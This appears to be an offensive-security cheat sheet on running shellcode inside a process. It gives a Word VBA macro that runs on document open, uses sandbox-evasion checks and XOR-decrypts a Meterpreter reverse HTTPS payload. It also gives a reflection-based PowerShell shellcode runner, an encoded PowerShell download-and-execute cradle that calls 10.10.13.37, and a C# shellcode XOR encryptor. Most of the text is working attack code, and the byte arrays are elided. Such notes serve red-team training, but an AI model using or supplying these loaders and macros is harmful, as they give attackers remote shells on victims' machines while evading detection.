Inject shellcode into current process's virtual address space
VBA
An explanation how to map C types to appropriate VBA types manually.
With this approach the shell lives until Word is not closed (no WaitForSingleObject):
ShellcodeRunner.vba
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
Sub Document_Open()
ShellcodeRunner
End Sub
Sub AutoOpen()
ShellcodeRunner
End Sub
Function ShellcodeRunner()
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
' Check if we're in a sandbox by calling a rare-emulated API
If IsNull(FlsAlloc(tmp)) Then
Exit Function
End If
' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If
' msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key a
buf = Array(31, 33, ..., 33, 37)
' XOR-decrypt the shellcode
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor Asc("a")
Next i
' &H3000 = 0x3000 = MEM_COMMIT | MEM_RESERVE
' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
PowerShell
Using Add-Type and C#
C data types to C# data types "translation" can be done with P/Invoke APIs (Platform Invocation Services) at www.pinvoke.net (e. g., VirtualAlloc).
lookupFunc 👉🏻 to obtain a reference to the System.dll assembly's GetModuleHandle and GetProcAddress methods using GetType and GetMethod functions (aka the Reflection technique).
VirtualAlloc 👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in virtual address space of the calling process.
Copy 👉🏻 to copy the shellcode bytes into allocated memory location.
CreateThread 👉🏻 to create a new execution thread in the calling process and execute the shellcode.
WaitForSingleObject 👉🏻 to delay termination of the PowerShell script until the shell fully executes.
ShellcodeRunnerv2.ps1
functionlookupFunc {Param ($moduleName, $funcName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp =@() $assem.GetMethods() |% {If($_.Name-eq"GetProcAddress") {$tmp +=$_}}return $tmp[0].Invoke($null,@(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $funcName))}functiongetDelegateType {Param ( [Parameter(Position=0, Mandatory=$True)][Type[]] $argsTypes, [Parameter(Position=1)][Type] $retType = [Void] )# Building a DelegateType (doing it manually to avoid usage of Add-Type)## create a custom assembly and define the module and type inside $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
## set up the constructor $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $argsTypes).SetImplementationFlags('Runtime, Managed')
## sets up the invoke method $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
## invoke the constructor and return the delegation typereturn $type.CreateType()}# $VirtualAllocAddr = lookupFunc kernel32.dll VirtualAlloc# $VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr])# $VirtualAlloc =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
# $VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f ps1[Byte[]] $buf =0x31,0x33,...,0x33,0x37[System.Runtime.InteropServices.Marshal]::Copy($buf,0, $lpMem, $buf.length)$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((lookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
In order to run x64 shellcode from a 32-bit application (e. g., MS Word), you may want to specify the path to 64-bit PowerShell binary through Sysnative alias.
payload =r"powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')"output =''.join([str(ord(c) ^ord('a')).zfill(3) for c in payload])print(output)
Shellcode XOR-encrypt helper for C# (msfvenom-like output style):
XOREncrypt.cs
usingSystem;usingSystem.Text;namespaceXOREncrypt{classProgram {staticvoidMain(string[] args) { // msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharpbyte[] buf =newbyte[???] {0x31,0x33,...,0x33,0x37 }; // XOR-encrypt the shellcodefor (int i =0; i <buf.Length; i++) {buf[i] = (byte)(buf[i] ^ (byte)'a'); }StringBuilder hex =newStringBuilder(buf.Length*2); //foreach (byte b in buf)for (int i =0; i <buf.Length; i++) {if (i !=buf.Length-1) {hex.AppendFormat("0x{0:x2},",buf[i]); }else// no "," for the last line {hex.AppendFormat("0x{0:x2}",buf[i]); }if ((i +1) %15==0) {hex.AppendLine(); } }Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex.ToString()} }};"); } }}